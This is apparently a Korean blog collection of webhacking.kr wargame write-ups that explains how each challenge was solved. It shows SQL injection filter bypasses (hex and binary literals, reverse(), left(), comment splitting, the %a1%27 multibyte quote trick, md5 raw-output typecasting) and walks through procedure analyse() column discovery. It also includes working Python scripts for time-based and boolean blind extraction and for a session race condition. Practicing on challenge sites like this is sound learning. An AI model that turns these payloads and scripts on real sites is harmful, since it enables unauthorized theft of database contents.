소스를 보면 id로 입력한 값이 그대로 Query에 들어간다.

간단한게 0x로 admin을 hex값으로 입력하고 column명을 id로 만들어주면 된다.






소스를 보면 세션 id 즉 필자의 경우 holic159_의 값이 나온다.

holic159_.txt에 holic159_를 저장하고 닫는다. 그리고 IP가 127.0.0.1이 아니면 1초 기다렸다가 해당 파일을 삭제한다.

mode를 auth로 하고 요청을 하면 위의 작업 보다 먼저 holic159_.txt를 열어 holic159_가 있는지 확인한다. 있으면 문제가 풀리고 포인트를 얻게 된다. 없으면 위의 작업을 수행한다.




세션이 같을 때 다수의 요청을 하게 되면 먼저 요청한 세션은 취소되고 나중에 요청한 세션이 수행된다.

따라서 위와같이 세션을 두개 만들어 세션마다 요청을 여러번 해주면 문제가 쉽게 풀린다.


import urllib
import urllib2

for i in range(100):
	url = "http://webhacking.kr/challenge/web/web-37/"
	request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaa" })
	response = urllib2.urlopen(request)
	print "[+] Request - "+url
	if "Done!" in response.read():
		print response.read()
		break;


import urllib
import urllib2

for i in range(100):
	url = "http://webhacking.kr/challenge/web/web-37/?mode=auth"
	request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=bbbbbbbbbbbbbbbbbbbbbbbbbb" })
	response = urllib2.urlopen(request)
	print "[+] Request - "+url
	data = response.read()
	if "Done!" in data:
		print data
		break;






0b는 필터링 하지 않으므로 이진수로 나타낸다.




입력 해 봤지만, 20글자 제한이 있다.




아무래도 '를 필터링 하는 거 같다.


20 글자 수가 넘지 않으면서 admin을 표현할 수 있는 방법을 찾아보자.




id를 이용하여 최대한 phone까지 영향을 줄 수 있는 함수를 찾다가 reverse 함수를 찾았다.

reverse(id)를 하면 id가 거꾸로 나오게 된다.

id는 글자 수 제한이 없으므로 admin이 아니더라도 다른 긴 문자열도 만들어 낼 수 있다.

id에 admin을 거꾸고 입력하고 phone에는 1,reverse(id),(1,1를 입력하자.








SQL Injection이 되긴 하지만 출력값이 존재하지 않을 때, 항상 사용하는 단골 기법이 있다.

바로 응답시간을 이용한 SQL Injection을 하는 건데 sleep 함수를 이용한다.

전에 overthewire의 natas 문제에서도 이와 비슷한 문제가 나온적이 있다. 

http://zairo.tistory.com/entry/OverTheWire-Natas-Level-17 를 참고하도록 하자.

자는 Python을 이용하여 코드를 작성해보았다.


import urllib
import urllib2
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
length = 0
key = ""

for i in range(100):
    payload = "if(length(pw)=%d,sleep(2),0)"%(i)

    url = "http://webhacking.kr/challenge/web/web-34/index.php?msg=1&se="+urllib.quote_plus(payload)
    request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=g426tec866748hu6a6opt7kmj0" })
    time.sleep(0.2)
    t = time.time() # start time check
    response = urllib2.urlopen(request)
    excute_time = time.time() - t # execute time

    print "[+] Request - "+payload,

    if excute_time > 2:
        print "=> True"
        length = i
        break;
    else:
        print "=> False" 
    
for i in range(length):
    for j in range(len(string)):
        payload = "if(mid(pw,"+str(i+1)+",1)="+hex(ord(string[j]))+",sleep(2),0)"

        url = "http://webhacking.kr/challenge/web/web-34/index.php?msg=1&se="+urllib.quote_plus(payload)
        request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=g426tec866748hu6a6opt7kmj0" })
        time.sleep(0.2)
        t = time.time() # start time check
        response = urllib2.urlopen(request)
        excute_time = time.time() - t # execute time

        print "[+] Request - "+payload,
        if excute_time > 2:
            print "=>  True"
            key += string[j]
            print "[*] Find key!!! key is ["+key+"]"
            break;
        else:
            print "=> False"






접속하면 게시판..? 이 나온다.



검색기능이 있는 것 같다. admin에는 h가 없는 것같아서 h를 입력하고 검색을 해보았다.

하지만, admin도 포함되서 나온다. 즉 admin 테이블의 공개되지 않은 column에 h라는 값이 있다고 추정된다.




혹시나 해서 hi를 입력해봤더니 guest의 게시글만 출력된다.



바로 a~z, 숫자, 특수문자 모두 하나씩 검색해 봤다. 위의 문자열을 검색했을때 admin 게시글이 출력된다.

즉 admin의 게시글의 공개되지 않은 column의 값은 위의 값을 조합하여 만들 수 있다는 의미이다.




import urllib
import urllib2
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./~!@#$^&*()-=+"
key = "k"
for i in range(20):
	for st in string:
		url = "http://webhacking.kr/challenge/web/web-33/index.php"
		payload = "search="+urllib.quote_plus(key+st)
		opener = urllib2.build_opener(urllib2.HTTPHandler)
		request = urllib2.Request(url, payload)
		request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
		request.add_header('Cookie', 'PHPSESSID=g426tec866748hu6a6opt7kmj0')
		request.get_method = lambda:'POST'
		data = opener.open(request)
		print payload,
		if "admin" in data.read():
			key += st
			print "= True"
			print "[*] Find key!! key is ["+key+"]"
			break
		else:
			print "= False"
	if st == "+":
		print "[*] key is ["+key+"]" 
		break
		time.sleep(0.2)


python으로 프로그래밍하여 h로 시작되는 문자열을 찾아보았더니 hp에서 끊긴다.



k로 시작하는 문자열을 찾아보았더니 kk.php를 반환한다.

kk.php에 접속해보면 문제가 풀린다.






주석을 보면 힌트가 있다. column명을 알려주긴 하지만 확실히 하기위해 지난 문제에서 풀었던 것처럼 procedure analyse() 함수를 이용해 column명을 찾아보도록 하자




oldzombie 데이터베이스에 challenge55_game의 테이블에 pAsSw0RdzzzZ라는 컬럼이 있다는 것을 확인 할 수 있다.




score를 0으로 해보면 localhost가 나오는데 다른 아이디보다 localhost의 비밀번호를 알아내는 것이 flag에 더 근접하다는 것을 눈치챌 수 있다.



if가 참일 땐 localhost를 반환



거짓일 땐 아무것도 반환하지 않는다.




substr, mid는 필터링 되어 사용할 수 없다. 하지만 left라는 함수가 있는데 이는 왼쪽부터 몇글자씩 잘라서 가져와 사용할 수 있게 되어있다.




필자는 Python으로 exploit 코드를 작성하여 문제를 풀었다.



import urllib
import urllib2
import time

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()-_+="
length = 0
key = ""
payload_str = ""

for i in range(1,100):
	payload = "-1%20or%20if(length(pAsSw0RdzzzZ)="+str(i)+",1,0)"
	url = "http://webhacking.kr/challenge/web/web-31/rank.php?score="+payload
	request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=g426tec866748hu6a6opt7kmj0" })
	response = urllib2.urlopen(request)
	print "[+] Request - "+payload,
	if "localhost" in response.read():
		print "= True"
		print "[*] Find pAsSw0RdzzzZ length!!! length is "+str(i)
		length = i
		break
	else:
		print "= False"
	time.sleep(0.2)
	
for i in range(length):
	for j in range(len(string)):
		payload = "-1%20or%20if(left(pAsSw0RdzzzZ,"+str(i+1)+")=0x"+payload_str+hex(ord(string[j]))[-2:]+",1,0)"
		url = "http://webhacking.kr/challenge/web/web-31/rank.php?score="+payload
		request = urllib2.Request(url, headers= {"Cookie" : "PHPSESSID=g426tec866748hu6a6opt7kmj0" })
		response = urllib2.urlopen(request)
		print "[+] Request - "+payload,
		if "localhost" in response.read():
			print "= True"
			key += string[j]
			payload_str += hex(ord(string[j]))[-2:]
			print "[*] Find pAsSw0RdzzzZ!!! pAsSw0RdzzzZ is ["+key+"]"
			break
		else:
			print "= False"
		time.sleep(0.2)






소스를 보면 union, select, from 이 필터링 되어있다.

주석처리까지 필터링 되어 있어 서브쿼리라던지 union 등 다른 쿼리의 실행은 불가능하다고 보면 된다.

()와 같은 괄호를 필터링 하지 않은 것으로 보아 함수를 사용하라는 의미 같아 함수 리스트를 살펴보았다.





현재 실행중인 쿼리문을 보는 함수 같은 것을 찾다 보니, 위의 함수가 눈에 들어왔다.

쿼리문의 최적화를 하기 위해 해당 쿼리의 Optimal_fieldtype 등을 보며 분석할 수 있게 만들어놓은 함수이다.

이 함수를 실행하면, Field_name, Optimal_fieldtype 등 다양한 정보를 출력한다.

여기에서 Field_name이 데이터베이스명, 테이블명, 컬럼명을 포함하고 있어서 이 함수를 쓰면 위 문제에서 요구한 테이블명을 볼 수 있다.








소스를 보도록 하자.

처음에는 소스만 보고 엄청 쉬운문제인줄 알고 id에 '#등의 쿼리를 날려보았지만, magic_quotes_gpc 기능이 켜져있는 것 같았다.

소스를 자세히 보다가 md5 함수에 인자로 true가 붙은 것은 처음 보는 것이라서 검색을 해보았다.






해시를 바이너리 형식으로 변환한다고 한다.

즉 바이너리로 변환하게 되면 '이나 = 등의 문자가 출력 될 수도 있다.

이 과정에서 무언가 취약점이 있는 것같아서 md5 취약점을 구글에 검색해보았더니, http://hyunmini.tistory.com/43에서 자세히 나와있는 것을 볼 수 있었다.

typecasting 과정 중 문자열을 int로 캐스팅 하면 0이 된다. 즉 "a"=0은 true가 된다. php에서만 이 취약점이 존재하는 줄 알았는데, 데이터베이스도 이 취약점이 존재하나보다.

pw = '$_POST['pw']' 이므로,

abcd'='efgh를 넣게 되면

pw = 'abcd'='efgh'

즉, pw = 0 이 된다.

아까도 말했듯이 "문자열"=0은 true 이므로 이 쿼리가 실행되면 모든 row가 반환된다.


bruteforce로 '='가 들어간 해쉬를 찾아보자.









payload로 ' or 1#을 입력한다. 

%27은 gpc 우회를 위해 %a1%27로, 띄어쓰기는 필터링을 하므로 %a1로 변환하여 payload를 작성하도록 한다.







1로 했을땐 값이 나왔는데, 3으로 했을 때 값이 안나오는 것으로 보아 이 데이터베이스 안에는 lv가 3인 row가 없는 것으로 보인다.

즉 union select 3을 이용해 row를 만들어줘야 하는데, 소스에 보면 id에서 union을 필터링 한다.

생각해보면 pw는 필터링 하지 않는다. 그렇다면 pw에 union을 입력 하여야 한다.

하지만 md5로 감싸져 있는 곳에 어떻게 값을 입력할 수 있을지 생각하여야 한다.

주석을 이용하여 id 끝 부분에 넣고 pw 첫부분에 넣으면 사이의 문자열은 전부 주석처리 되어 의미없는 값이 된다.



select lv from members where id='' /*' and pw = md5('*/ union select 1#')를 입력해보도록 하자.




+ Recent posts